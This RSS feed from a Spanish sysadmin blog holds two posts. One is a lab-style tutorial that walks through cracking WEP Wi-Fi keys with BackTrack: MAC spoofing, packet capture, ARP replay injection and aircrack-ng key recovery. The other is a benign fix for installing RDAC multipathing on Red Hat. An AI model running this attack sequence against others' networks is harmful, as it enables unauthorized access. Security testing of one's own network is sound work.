<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>VIDANEZ SITE &#187; LINUX</title>
	<atom:link href="http://www.vidanez.com/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.vidanez.com</link>
	<description>ADMINISTRACION INSTALACIONES Y DISEÑO DE ARQUITECTURAS</description>
	<lastBuildDate>Thu, 19 Jan 2012 14:49:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Laboratorio: Prueba de concepto. Crackear claves WEP usando Backtrack</title>
		<link>http://www.vidanez.com/2010/02/24/laboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack/</link>
		<comments>http://www.vidanez.com/2010/02/24/laboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 17:59:29 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[LINUX]]></category>
		<category><![CDATA[SEGURIDAD]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=114</guid>
		<description><![CDATA[A continuación comparto una prueba de concepto para nuestras redes wifi de tipo WEP. En ningún caso aconsejo usar esto para una red Wifi que no sea de nuestra propiedad. El CHIP de wireless es el INTEL PRO/Wireless 3945ABG Network Nota: los comandos os los paso en forma de script para que podáis crear ejecutables con ellos, [...]]]></description>
			<content:encoded><![CDATA[<p>A continuación comparto una prueba de concepto para nuestras redes wifi de tipo WEP. En ningún caso aconsejo usar esto para una red Wifi que no sea de nuestra propiedad.</p>
<p>El CHIP de wireless es el INTEL PRO/Wireless 3945ABG Network</p>
<p>Nota: los comandos os los paso en forma de script para que podáis crear ejecutables con ellos, o sueltos y ejecutáis uno a uno</p>
<p>Comenzamos:<br />
Tenemos que cambiar los drivers de la tarjeta ya que no soportan modo promiscuo. En el backtrack viene unos que nos interesan</p>
<p>Script: &#8220;ipw3945i.sh&#8221;</p>
<p><em>#!/bin/bash<br />
echo &#8220;[*] Removing IPW3945 drivers&#8221;<br />
rmmod ipwraw<br />
rmmod iwl3945<br />
rmmod mac80211<br />
echo &#8220;[*] Inserting IPWRAW drivers (raw mode)&#8221;<br />
modprobe ipwraw<br />
</em><br />
Lanzamos :</p>
<p><em>iwconfig<br />
</em><br />
Vemos cual es la tarjeta wifi, en mi caso es wifi0 continuo usandola como ejemplo.<br />
Me cambio la MAC , este es un numero de cada &#8220;tarjeta del mundo&#8221;. Tambien podemos cambiarnos la MAC para imitar una que este conectada en la nuestra red.</p>
<p><em>ifconfig wifi0 down<br />
macchanger &#8211;mac 00:10:20:30:40:50 wifi0<br />
ifconfig wifi0 up<br />
ifconfig wifi0</em></p>
<p>En este punto podemos usar <em>&#8220;Backtrack-&gt;Wireless Tools -&gt; Analyzers -&gt;Kismet&#8221;</em> para elegir la red a la que atacar, o usar los comandos:</p>
<p><em>airmon-ng start wifi0<br />
airodump-ng wifi0</em></p>
<p>El software este se puede tambien ordenar como el kismet pero la verdad nunca lo he intentado,  aconsejo un vistazo al man para ver que tal &#8230;.<br />
Una vez elegida la red a la que atacar haces un &#8220;CRTL+C&#8221; en esa ventana para que pare. Apuntas el bssid (MAC), el essid (NOMBRE) y channel (CANAL).</p>
<p>En otra ventana de shell que abriremos y dejaremos lanzado el comando, para monitorizar esa red elegida para atacarla:</p>
<p><em>airodump-ng -c $CHANNEL -w $ESSID &#8211;bssid $BSSID wifi0<br />
</em><br />
Rellenando los datos de los que hemos recogido antes ($). Si el essid tiene espacios lo pones entre comillas.</p>
<p>En otra venta de shell comenzamos el ataque en si.</p>
<p>Nos asociamos al AP, con el comando rellenado ($) el dato recopilado antes:</p>
<p><em>aireplay-ng -1 0 -a $BSSID -h 00:10:20:30:40:50 wifi0</em></p>
<p>Aqui es normalmente cuando puede fallar el invento ya que no le guste nuestra fakeMAC (00:10:20:30:40:50) al AP. Tendremos que cambiarla en caso necesario.</p>
<p>Ahora comenzamos a meterle paquetes rellenado los datos necesarios ($):</p>
<p><em>aireplay-ng -3 -b $BSSID -h 00:10:20:30:40:50 wifi0<br />
</em><br />
Cabe la posiblidad de que de golpe nos dia algo asi como &#8220;<code>notice: got a deauth/disassoc packet. Is the source MAC associated ?" </code>Eso es simplemente que tenemos que volver a lanzar la asociacion en otra shell, porque el router o AP se ha percatado de nuestro ataque y nos ha dado la patadita.</p>
<p>Y si todo es correcto solo nos queda esperar a que los ARP nos vayan subiendo. Es necesario unos 100.000 o 200.000 dependiendo si la pass es de 64bits o 128bits. Esta es la parte de paciencia, si no estuvieramos metiendole paquetes con el aireplay tendriamos que esperar conexiones en la red.</p>
<p><em>Read 129275 packets (got 54575 ARP requests and 70947 ACKs), sent 83561 packets…(499 pps)<br />
</em><br />
Una vez tenemos eso ya veremos que en el sistema tendremos unos ficheros del nombre de la essid con extension &#8220;.cap&#8221; en el directorio en el que estábamos.<br />
Pues realizamos rellenado los datos ($):</p>
<p>aircrack-ng -n 64 &#8211;bssid $BSSID $ESSID.cap</p>
<p>Para crackear una pass 64bit. El resultado nos viene como grupos de 2 separados por &#8220;:&#8221; quetamos los &#8220;:&#8221; y el chorizo se lo podemos poner directamente al windows.</p>
<p>aircrack-ng -n 128 &#8211;bssid $BSSID $ESSID.cap</p>
<p>Para cargarnos una de 128bit, y el resultado seria el mismo que anteriormente.</p>
<p>El backtrack esta disponible en  <a href="http://www.remote-exploit.org/" target="_blank">http://www.remote-exploit.org/</a></p>
<p>Espero que despues de esto puedas probar la seguridad de tu red y la importancia de usar protocolos más seguros.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2010%2F02%2F24%2Flaboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack%2F&amp;title=Laboratorio%3A%20Prueba%20de%20concepto.%20Crackear%20claves%20WEP%20usando%20Backtrack" id="wpa2a_2"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2010/02/24/laboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&quot;No module qla2300 found&quot; o &quot;No module qla2400 found&quot;</title>
		<link>http://www.vidanez.com/2008/10/14/no-module-qla2300-found-o-no-module-qla2400-found/</link>
		<comments>http://www.vidanez.com/2008/10/14/no-module-qla2300-found-o-no-module-qla2400-found/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 10:00:08 +0000</pubDate>
		<dc:creator>Vidanez</dc:creator>
				<category><![CDATA[LINUX]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=22</guid>
		<description><![CDATA[Entorno HARDWARE: Servidor X8420 4 x AMD Dual Core 2,4Ghz RAM 8 GB 2 x 73 GB Tarjeta PCI Qlogic Dual Port SG-XPCIE2FC-QB4-Z STORAGE &#8212; STORAGETEK FLX 380 SOFTWARE: OS: Red Hat AS 4 Update 4 i386 Driver de Qlogic: Author:         QLogic Corporation Description:    QLogic Fibre Channel HBA Driver Version:        8.02.08 D99C39AD843810FABC4857E Síntomas: Cuando queremos [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if !mso]> <mce:style><!  v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} --> <!--[endif]--><!--[if gte mso 9]><xml> Normal   0         21         false   false   false      ES   X-NONE   X-NONE                                                     MicrosoftInternetExplorer4 </xml><![endif]--><!--[if gte mso 9]><xml> </xml><![endif]--><!--  --><!--[if gte mso 10]> <mce:style><!   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman","serif";} --> <!--[endif]--></p>
<h2>Entorno</h2>
<p>HARDWARE:</p>
<p>Servidor X8420</p>
<p>4 x AMD Dual Core 2,4Ghz</p>
<p>RAM 8 GB</p>
<p>2 x 73 GB</p>
<p>Tarjeta PCI Qlogic Dual Port SG-XPCIE2FC-QB4-Z</p>
<p>STORAGE &#8212; STORAGETEK FLX 380</p>
<p>SOFTWARE:</p>
<p>OS: Red Hat AS 4 Update 4 i386</p>
<p>Driver de Qlogic:</p>
<p>Author:         QLogic Corporation</p>
<p>Description:    QLogic Fibre Channel HBA Driver</p>
<p>Version:        8.02.08 D99C39AD843810FABC4857E</p>
<h2>Síntomas:</h2>
<p>Cuando queremos instalar el gestor de multipathing RDAC versión 09.01.B2.31 la respuesta del sistema es:</p>
<p><tt><strong>No module qla2300 found</strong></tt></p>
<p>ó</p>
<p><tt><strong>No module qla2400 found</strong></tt></p>
<p><span id="more-22"></span></p>
<p>Este problema esta reportado de forma similar con otro sistema operativo superior en un Bug de SUN:</p>
<p><tt>Document ID:    6654423</tt><br />
<tt>Title:    RDAC install fails. Rhel5_U1 with "No module qla2300 found" using out of box qla driver V8.01.07-k7</tt><br />
<tt>Copyright Notice:    Copyright © 2008 Sun Microsystems, Inc. All Rights Reserved</tt><br />
<tt>Update Date:    Mon Jan 28 00:00:00 MST 2008</tt></p>
<p>Sin ninguna solución hasta el momento.</p>
<p><strong> </strong></p>
<h1>SOLUCIONES</h1>
<h2>Opciones alternativas</h2>
<p>Actualizar Driver de Qlogic a la versión 8.02.14 superior a la nuestra. No nos sirvió de nada ya que nuestro sistema operativo no parece reconocer los dispositivos una vez implementado este driver.</p>
<p>Usar &#8220;device-mapper-multipathing&#8221; es una opción alternativa a RDAC, pero desgraciadamente no está soportado por la librería Sun Storagetek 6540 alias Storagetek FLX380</p>
<h2>Workaround generado</h2>
<p>En principio si miramos la salida del comando &#8220;lsmod&#8221;</p>
<p>Module                  Size  Used by</p>
<p>hangcheck_timer         7641  0</p>
<p>md5                     8001  1</p>
<p>ipv6                  241761  28</p>
<p>oracleasm              48020  1</p>
<p>autofs4                22725  0</p>
<p>acpiphp                28245  0</p>
<p>sunrpc                143397  1</p>
<p>joydev                 14209  0</p>
<p>dm_mirror              31645  0</p>
<p>dm_mod                 60357  1 dm_mirror</p>
<p>sr_mod                 20709  1</p>
<p>usb_storage            62217  1</p>
<p>button                 10449  0</p>
<p>battery                12869  0</p>
<p>ac                      8773  0</p>
<p>ohci_hcd               23889  0</p>
<p>ehci_hcd               32069  0</p>
<p>e1000                 109113  0</p>
<p>ext3                  118729  5</p>
<p>jbd                    59609  1 ext3</p>
<p>mppVhba               108032  11</p>
<p>qla2xxx               969812  4</p>
<p>qla2xxx_conf          305924  1</p>
<p>lpfc                  158269  0</p>
<p>scsi_transport_fc      12097  1 lpfc</p>
<p>mptsas                 13389  6</p>
<p>mptscsi                44125  1 mptsas</p>
<p>mptbase                61345  2 mptsas,mptscsi</p>
<p>sg                     38113  0</p>
<p>sd_mod                 20545  29</p>
<p>scsi_mod              117709  11 sr_mod,usb_storage,qla2xxx,lpfc,scsi_transport_fc,mptsas,mptscsi,sg,sd_mod</p>
<p>Vemos que el driver está cargado como &#8220;qla2xxx&#8221; que incluye todos los modelos de qla2xxx en modo de alias, esto lo podemos ver en el fichero &#8220;/etc/modprobe.conf&#8221;:</p>
<p>alias scsi_hostadapter mptsas</p>
<p>alias scsi_hostadapter1 lpfc</p>
<p>alias usb-controller ehci-hcd</p>
<p>alias usb-controller1 ohci-hcd</p>
<p>install qla2xxx /sbin/modprobe qla2xxx_conf; /sbin/modprobe &#8211;ignore-install qla2xxx</p>
<p>remove qla2xxx /sbin/modprobe -r &#8211;first-time &#8211;ignore-remove qla2xxx &amp;&amp; { /sbin/modprobe -r &#8211;ignore-remove qla2xxx_conf; }</p>
<p>options qla2xxx ql2xfailover=0</p>
<p>alias qla2100 qla2xxx</p>
<p>alias qla2200 qla2xxx</p>
<p>alias qla2300 qla2xxx</p>
<p>alias qla2322 qla2xxx</p>
<p>alias qla2400 qla2xxx</p>
<p>alias scsi_hostadapter2 qla2xxx_conf</p>
<p>alias scsi_hostadapter3 qla2xxx</p>
<p>Con esto cualquier cosa que preguntara al sistema por uno de estos módulos debería ser redirigido al modulo principal &#8220;qla2xxx&#8221;</p>
<p>Sin embargo la instalación de RDAC no parece aceptar este comportamiento y no da continuamente un error.</p>
<p>La solución es darle a RDAC lo que pide de manera que podamos engañarlo e instale porque al fin y al cabo los dispositivos y sus WWN son visibles.</p>
<p><strong>ATENCIÓN: Realizar todos los pasos desconectando la fibra y reescaneando el sistema sin conexión a la SAN puesto que si no los reinicios con los discos sin sistema de fichero pueden llegar a tardar 2 horas.</strong></p>
<ol type="1">
<li>Para cargar los módulos &#8220;falsos&#8221; necesitamos encontrar los que nos ha      generado la instalación del driver de qlogic. Para ello usamos los      comandos &#8220;find&#8221; o &#8220;locate&#8221;. En mi caso:</li>
</ol>
<p># updatedb</p>
<p># locate qla2300.ko</p>
<p># locate qla2400.ko</p>
<p>Con el output de estos comandos sabremos donde se encuentran situados los ficheros que necesitamos.</p>
<ol type="1">
<li>Con el comando &#8220;uname -r&#8221; vemos cual es la      versión de kernel que usamos en mi caso &#8220;2.6.9-42.ELsmp&#8221;.</li>
</ol>
<ol type="1">
<li>Copiamos los ficheros &#8220;qla2300.ko&#8221; y      &#8220;qla2400.ko&#8221; a un path para modulos de drivers del kernel que estamos      usando desde el origen que encontramos en el paso 1.</li>
</ol>
<p>En mi caso:</p>
<p># cp qla2*.ko /lib/modules/2.6.9-42.EL/kernel/drivers/scsi/qla2xxx/</p>
<ol type="1">
<li>Modificamos el fichero &#8220;/etc/modprobe.conf&#8221;      para que el kernel intente cargar estos módulos. De la siguiente forma:</li>
</ol>
<p>alias scsi_hostadapter mptsas</p>
<p>alias scsi_hostadapter1 lpfc</p>
<p>alias usb-controller ehci-hcd</p>
<p>alias usb-controller1 ohci-hcd</p>
<p>install qla2xxx /sbin/modprobe qla2xxx_conf; /sbin/modprobe &#8211;ignore-install qla2xxx</p>
<p>remove qla2xxx /sbin/modprobe -r &#8211;first-time &#8211;ignore-remove qla2xxx &amp;&amp; { /sbin/modprobe -r &#8211;ignore-remove qla2xxx_conf; }</p>
<p>options qla2xxx ql2xfailover=0</p>
<p>alias qla2100 qla2xxx</p>
<p>alias qla2200 qla2xxx</p>
<p>alias qla2300 qla2xxx</p>
<p>alias qla2322 qla2xxx</p>
<p>alias qla2400 qla2xxx</p>
<p>alias scsi_hostadapter2 qla2xxx_conf</p>
<p>alias scsi_hostadapter3 qla2xxx</p>
<p>alias scsi_hostadapter4 qla2300</p>
<p>alias scsi_hostadapter5 qla2400</p>
<ol type="1">
<li>Aplicamos los cambios a la imagen de arranque      del kernel de Linux y reiniciamos para comprobar todo aunque podríamos      cargar los módulos directamente:</li>
</ol>
<p>cd /boot</p>
<p>cp -f initrd-2.6.9-42.ELsmp.img initrd-2.6.9-42.ELsmp.img.bak</p>
<p>mkinitrd -f initrd-2.6.9-42.ELsmp.img 2.6.9-42.ELsmp</p>
<p>init 6</p>
<ol type="1">
<li>Veremos unos errores de estos módulos durante      el arranque, normales ya que hemos puesto unos módulos inservibles y no      tenemos que hacer caso. Nuestros módulos cargados y viéndolos por el      comando &#8220;lsmod&#8221; serán:</li>
</ol>
<p>Module                  Size  Used by</p>
<p>hangcheck_timer         7641  0</p>
<p>md5                     8001  1</p>
<p>ipv6                  241761  28</p>
<p>oracleasm              48020  1</p>
<p>autofs4                22725  0</p>
<p>acpiphp                28245  0</p>
<p>sunrpc                143397  1</p>
<p>joydev                 14209  0</p>
<p>dm_mirror              31645  0</p>
<p>dm_mod                 60357  1 dm_mirror</p>
<p>sr_mod                 20709  1</p>
<p>usb_storage            62217  1</p>
<p>button                 10449  0</p>
<p>battery                12869  0</p>
<p>ac                      8773  0</p>
<p>ohci_hcd               23889  0</p>
<p>ehci_hcd               32069  0</p>
<p>e1000                 109113  0</p>
<p>ext3                  118729  5</p>
<p>jbd                    59609  1 ext3</p>
<p>mppVhba               108032  11</p>
<p>qla2xxx               969812  4</p>
<p>qla2xxx_conf          305924  1</p>
<p>lpfc                  158269  0</p>
<p>scsi_transport_fc      12097  1 lpfc</p>
<p>mptsas                 13389  6</p>
<p>mptscsi                44125  1 mptsas</p>
<p>mptbase                61345  2 mptsas,mptscsi</p>
<p>mppUpper               88384  1 mppVhba</p>
<p>sg                     38113  0</p>
<p>sd_mod                 20545  29</p>
<p>scsi_mod              117709  11 sr_mod,usb_storage,qla2xxx,lpfc,scsi_transport_fc,mptsas,mptscsi,sg,sd_mod</p>
<p>Por tanto vemos que sigue siendo igual que antes.</p>
<ol type="1">
<li>Procedemos a instalar y comprobaremos que sin      problemas RDAC con los comandos en orden:</li>
</ol>
<p># make clean</p>
<p># make</p>
<p># make uninstall</p>
<p># make install</p>
<p>Veremos que aunque no tenemos los módulos cargados y la situación aparentemente en el OS es la misma, el error de &#8220;No module qla2???. found&#8221; desaparece.</p>
<ol type="1">
<li>Ya tenemos el RDAC instalado. Tal como nos      dice al final de la instalación debemos modificar el fichero      &#8220;/boot/grub/grub.conf&#8221; tal como nos explica el instalador de RDAC y      reiniciamos con &#8220;init 6&#8243;. El mio queda de la siguiente forma:</li>
</ol>
<p># grub.conf generated by anaconda</p>
<p>#</p>
<p># Note that you do not have to rerun grub after making changes to this file</p>
<p># NOTICE:  You have a /boot partition.  This means that</p>
<p>#          all kernel and initrd paths are relative to /boot/, eg.</p>
<p>#          root (hd0,0)</p>
<p>#          kernel /vmlinuz-version ro root=/dev/sda2</p>
<p>#          initrd /initrd-version.img</p>
<p>#boot=/dev/sda1</p>
<p>default=0</p>
<p>timeout=5</p>
<p>splashimage=(hd0,0)/grub/splash.xpm.gz</p>
<p>hiddenmenu</p>
<p>title Red Hat Enterprise Linux AS with mpp (2.6.9-42.ELsmp)</p>
<p>root (hd0,0)</p>
<p>kernel /vmlinuz-2.6.9-42.ELsmp ro root=LABEL=/ rhgb quiet</p>
<p>initrd /mpp-2.6.9-42.ELsmp.img</p>
<p>title Red Hat Enterprise Linux AS-up (2.6.9-42.EL)</p>
<p>root (hd0,0)</p>
<p>kernel /vmlinuz-2.6.9-42.EL ro root=LABEL=/ rhgb quiet</p>
<p>initrd /initrd-2.6.9-42.EL.img</p>
<p>title Red Hat Enterprise Linux AS (2.6.9-42.ELsmp)</p>
<p>root (hd0,0)</p>
<p>kernel /vmlinuz-2.6.9-42.ELsmp ro root=LABEL=/ rhgb quiet</p>
<p>initrd /initrd-2.6.9-42.ELsmp.img</p>
<ol type="1">
<li>Una vez reiniciado el sistema se vemos que      todos los módulos pertenecientes al RDAC están cargados correctamente.      Para ello usamos el comando &#8220;lsmod&#8221;:</li>
</ol>
<p>Module                  Size  Used by</p>
<p>hangcheck_timer         7641  0</p>
<p>md5                     8001  1</p>
<p>ipv6                  241761  28</p>
<p>oracleasm              48020  1</p>
<p>autofs4                22725  0</p>
<p>acpiphp                28245  0</p>
<p>sunrpc                143397  1</p>
<p>joydev                 14209  0</p>
<p>dm_mirror              31645  0</p>
<p>dm_mod                 60357  1 dm_mirror</p>
<p>sr_mod                 20709  1</p>
<p>usb_storage            62217  1</p>
<p>button                 10449  0</p>
<p>battery                12869  0</p>
<p>ac                      8773  0</p>
<p>ohci_hcd               23889  0</p>
<p>ehci_hcd               32069  0</p>
<p>e1000                 109113  0</p>
<p>ext3                  118729  5</p>
<p>jbd                    59609  1 ext3</p>
<p>mppVhba               108032  11</p>
<p>qla2xxx               969812  4</p>
<p>qla2xxx_conf          305924  1</p>
<p>lpfc                  158269  0</p>
<p>scsi_transport_fc      12097  1 lpfc</p>
<p>mptsas                 13389  6</p>
<p>mptscsi                44125  1 mptsas</p>
<p>mptbase                61345  2 mptsas,mptscsi</p>
<p><strong>mppUpper               88384  1 mppVhba</strong></p>
<p>sg                     38113  0</p>
<p>sd_mod                 20545  29</p>
<p>scsi_mod              117709  11 sr_mod,usb_storage,<strong>mppVhba</strong>,qla2xxx,lpfc,scsi_transport_fc,mptsas,mptscsi,<strong>mppUpper</strong>,sg,sd_mod</p>
<p>Con estos pasos ya tenemos listo nuestro sistema con RDAC instalado. Ya solo nos quedaría darle las unidades redescubrirlas con comandos de qlogic y mapearlas con RDAC.</p>
<p><strong> </strong></p>
<h1>APÉNDICE 1 COMANDOS UTILES</h1>
<p><strong>mppBusRescan</strong></p>
<p>Comando de RDAC para escanear los dispositivos de y asociar los WWN correspondientes de los multipathing</p>
<p><strong>lsvdev</strong></p>
<p>Comando de RDAC que nos da el hardware asociado a cada dispositivo del sistema en multipathing con su LUN correspondiente. Ejemplo:</p>
<p><strong>Array Name      Lun    sd device</strong></p>
<p><strong> </strong><strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</strong></p>
<p><strong> FLX380SAAS      0     -&gt; /dev/sdb</strong></p>
<p><strong> FLX380SAAS      1     -&gt; /dev/sdc</strong></p>
<p><strong> FLX380SAAS      2     -&gt; /dev/sdd</strong></p>
<p><strong> FLX380SAAS      3     -&gt; /dev/sde</strong></p>
<p><strong> FLX380SAAS      4     -&gt; /dev/sdf</strong></p>
<p><strong>mppUtil</strong></p>
<p>Comando del paquete RDAC</p>
<p><strong>-a</strong></p>
<p>Muestra todos los arrays conectados</p>
<p><strong>-g &lt;id&gt;</strong></p>
<p>Muestra la información del array dado dado por el id y los path a el de cada LUN. Ejemplo:</p>
<p>Hostname    = XXXXX</p>
<p>Domainname  = (none)</p>
<p>Time        = GMT 09/22/2008 08:13:30</p>
<p>MPP Information:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>ModuleName: FLX380SAAS                               SingleController: N</p>
<p>VirtualTargetID: 0&#215;000                                       ScanTriggered: N</p>
<p>ObjectCount: 0&#215;000                                          AVTEnabled: Y</p>
<p>WWN: 600a0b8000119ade0000000045d51e51               RestoreCfg: N</p>
<p>ModuleHandle: none                                        Page2CSubPage: Y</p>
<p>FirmwareVersion: 6.15.16.0</p>
<p>ScanTaskState: 0&#215;00000000</p>
<p>Controller &#8216;A&#8217; Status:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>ControllerHandle: none                                    ControllerPresent: Y</p>
<p>UTMLunExists: N                                                  Failed: N</p>
<p>NumberOfPaths: 1                                          FailoverInProg: N</p>
<p>ServiceMode: N</p>
<p>Path #1</p>
<p>&#8212;&#8212;&#8212;</p>
<p>DirectoryVertex: present                                           Present: Y</p>
<p>PathState: OPTIMAL</p>
<p>hostId: 2, targetId: 0, channelId: 0</p>
<p>Controller &#8216;B&#8217; Status:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>ControllerHandle: none                                    ControllerPresent: Y</p>
<p>UTMLunExists: N                                                  Failed: N</p>
<p>NumberOfPaths: 1                                          FailoverInProg: N</p>
<p>ServiceMode: N</p>
<p>Path #1</p>
<p>&#8212;&#8212;&#8212;</p>
<p>DirectoryVertex: present                                           Present: Y</p>
<p>PathState: OPTIMAL</p>
<p>hostId: 1, targetId: 0, channelId: 0</p>
<p>Lun Information</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Lun #0 &#8211; WWN: 600a0b8000119ade00005d8048c0acd0</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>LunObject: present                                 CurrentOwningPath: A</p>
<p>RemoveEligible: N                                          BootOwningPath: A</p>
<p>NotConfigured: N                                           PreferredPath: A</p>
<p>DevState: OPTIMAL                                   ReportedPresent: Y</p>
<p>ReportedMissing: N</p>
<p>NeedsReservationCheck: N</p>
<p>NotReady: N</p>
<p>Busy: N</p>
<p>Quiescent: N</p>
<p>Controller &#8216;A&#8217; Path</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>NumLunObjects: 1                                         RoundRobinIndex: 1</p>
<p>Path #1: LunPathDevice: present</p>
<p>IoCount: 0</p>
<p>DevState: OPTIMAL</p>
<p>RemoveState: 0&#215;0  StartState: 0&#215;1  PowerState: 0&#215;0</p>
<p>Controller &#8216;B&#8217; Path</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>NumLunObjects: 1                                         RoundRobinIndex: 0</p>
<p>Path #1: LunPathDevice: present</p>
<p>IoCount: 0</p>
<p>DevState: OPTIMAL</p>
<p>RemoveState: 0&#215;0  StartState: 0&#215;1  PowerState: 0&#215;0</p>
<p><strong>-g &lt;id&gt; | grep &#8220;Lun #&#8221;</strong></p>
<p>Obtendremos solo los LUN y WWN de cada grupo de multipathing. Ejemplo:</p>
<p>Lun #0 &#8211; WWN: 600a0b8000119ade00005d8048c0acd0</p>
<p>Lun #1 &#8211; WWN: 600a0b8000119ade00005d8448c0acee</p>
<p>Lun #2 &#8211; WWN: 600a0b8000119ade00005d8748c0ad08</p>
<p>Lun #3 &#8211; WWN: 600a0b8000119ad80000da9e48c0ae89</p>
<p>Lun #4 &#8211; WWN: 600a0b8000119ad80000daa348c0aed7</p>
<p>Lun #5 &#8211; WWN: 600a0b8000119ade00005d8a48c0ad30</p>
<p>Lun #6 &#8211; WWN: 600a0b8000119ade00005d8d48c0ad48</p>
<p>Lun #7 &#8211; WWN: 600a0b8000119ade00005d9048c0ad8a</p>
<p>Lun #8 &#8211; WWN: 600a0b8000119ad80000da9948c0ae59</p>
<p>Lun #9 &#8211; WWN: 600a0b8000119ade00005d9648c0adb4</p>
<p>Lun #10 &#8211; WWN: 600a0b8000119ade00005d9c48c0adfe</p>
<p><strong>-S</strong></p>
<p>Muestra si algún camino ha fallado</p>
<p><strong>-C</strong></p>
<p>Escanea de nuevo el array</p>
<p><strong>./ql-dynamic-tgt-lun-disc.sh -s -r</strong></p>
<p>Alternativa al de QLogic a &#8220;scli&#8221; y &#8220;SANSurfer&#8221; con la sencillez de hacer todo en un paso. Antes tenemos que estar seguro que el sistema ve las HBA.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2008%2F10%2F14%2Fno-module-qla2300-found-o-no-module-qla2400-found%2F&amp;title=%26quot%3BNo%20module%20qla2300%20found%26quot%3B%20o%20%26quot%3BNo%20module%20qla2400%20found%26quot%3B" id="wpa2a_4"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2008/10/14/no-module-qla2300-found-o-no-module-qla2400-found/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

